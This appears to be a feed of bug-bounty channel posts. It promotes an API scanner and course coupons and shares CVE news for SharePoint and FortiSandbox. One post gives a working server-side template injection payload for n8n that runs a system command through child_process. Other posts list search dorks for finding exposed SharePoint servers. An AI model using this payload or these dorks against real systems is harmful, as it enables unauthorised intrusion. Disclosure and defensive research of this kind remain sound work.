🚨 *APIStrike is live!* — API Security Scanner by RevoltSecurities

Automate your API pentesting. Point it at an OpenAPI spec, it handles the rest.

*What hits:*
⚡ OWASP API Top 10 coverage
🎯 DAST fuzzing — SQLi, XSS, SSRF, SSTI, CMDi & more
🔐 Auth-aware — JWT, Basic, API key, Cookie bypass
🔄 CI/CD gate — blocks deploys on critical findings
https://github.com/RevoltSecurities/apistrike
⭐ Star it. Share it. Break APIs legally.

🚨One Liners for bug bounty

✅ Download: https://github.com/0xPugal/One-Liners

Hey Hunter's,
DarkShadow is here back again!

Zero Click Unauthenticated RCE in n8n (CVE-2026-27493)

The chain exploitation method is:
1. Allow User input
2. Render the user input on browser
3. SSTI exploitation e.g. {{7*7}}
4. SSTI to RCE payload e.g.

={{$node["NodeName"].constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}

If you guys are really enjoy to read, then show your love ❤️

#rce #ssti #n8n

Happy Bengali New Year 1433 🌸

New year. New game.
No excuses this time , only execution.
Build yourself so strong that opportunities start chasing you.

— Brut Security 🔥

Here is 20 Free Coupon For Who Want to Start Their Bug bounty Journey - https://topmate.io/saumadip/2009859?coupon_code=awxe

CVE-2026-32201: Microsoft SharePoint Server Spoofing Vulnerability, 6.5 rating ❗️

Improper input validation in Microsoft SharePoint Server allows an unauthorized attacker to perform spoofing over a network and view sensitive internal data or make unauthorized changes. This vulnerability is already being actively exploited in the wild!

Search at Netlas.io:
👉 Link: https://nt.ls/DjQpd
👉 Dork: http.headers.microsoftsharepointteamservices:*
👉 Dork (MS subdomains filtered): http.headers.microsoftsharepointteamservices:* !host:*.sharepoint.com

Vendor's advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201

🚨 Fortinet just disclosed CVE-2026-39808 and CVE-2026-39813 - 2 critical vulnerabilities affecting FortiSandbox. No active exploitation itw reported as of yet.

Scan your infrastructure to find vulnerable instances:
CVE-2026-39808: https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39808.yaml
CVE-2026-39813: https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39813.yaml

CVE-2026-39808 (CVSS 9.1):
An Improper Neutralization of Special Elements used in an OS Command ('OS command injection') vulnerability [CWE-78] in FortiSandbox may allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests.

CVE-2026-39813 (CVSS 9.1):
A Path Traversal vulnerability [CWE-24] in FortiSandbox JRPC API may allow an unauthenticated attacker to bypass authentication via specially crafted HTTP requests.

Patches are available as per vendor advisories:
https://fortiguard.fortinet.com/psirt/FG-IR-26-112
https://fortiguard.fortinet.com/psirt/FG-IR-26-100

If I had a dollar for every “hack my ex” request...

Nahamsec Reconnaissance Guide

Launching Soon :)

50 Free Coupon for Bug Bounty Masterclass - https://topmate.io/saumadip/2009859?coupon_code=awxe3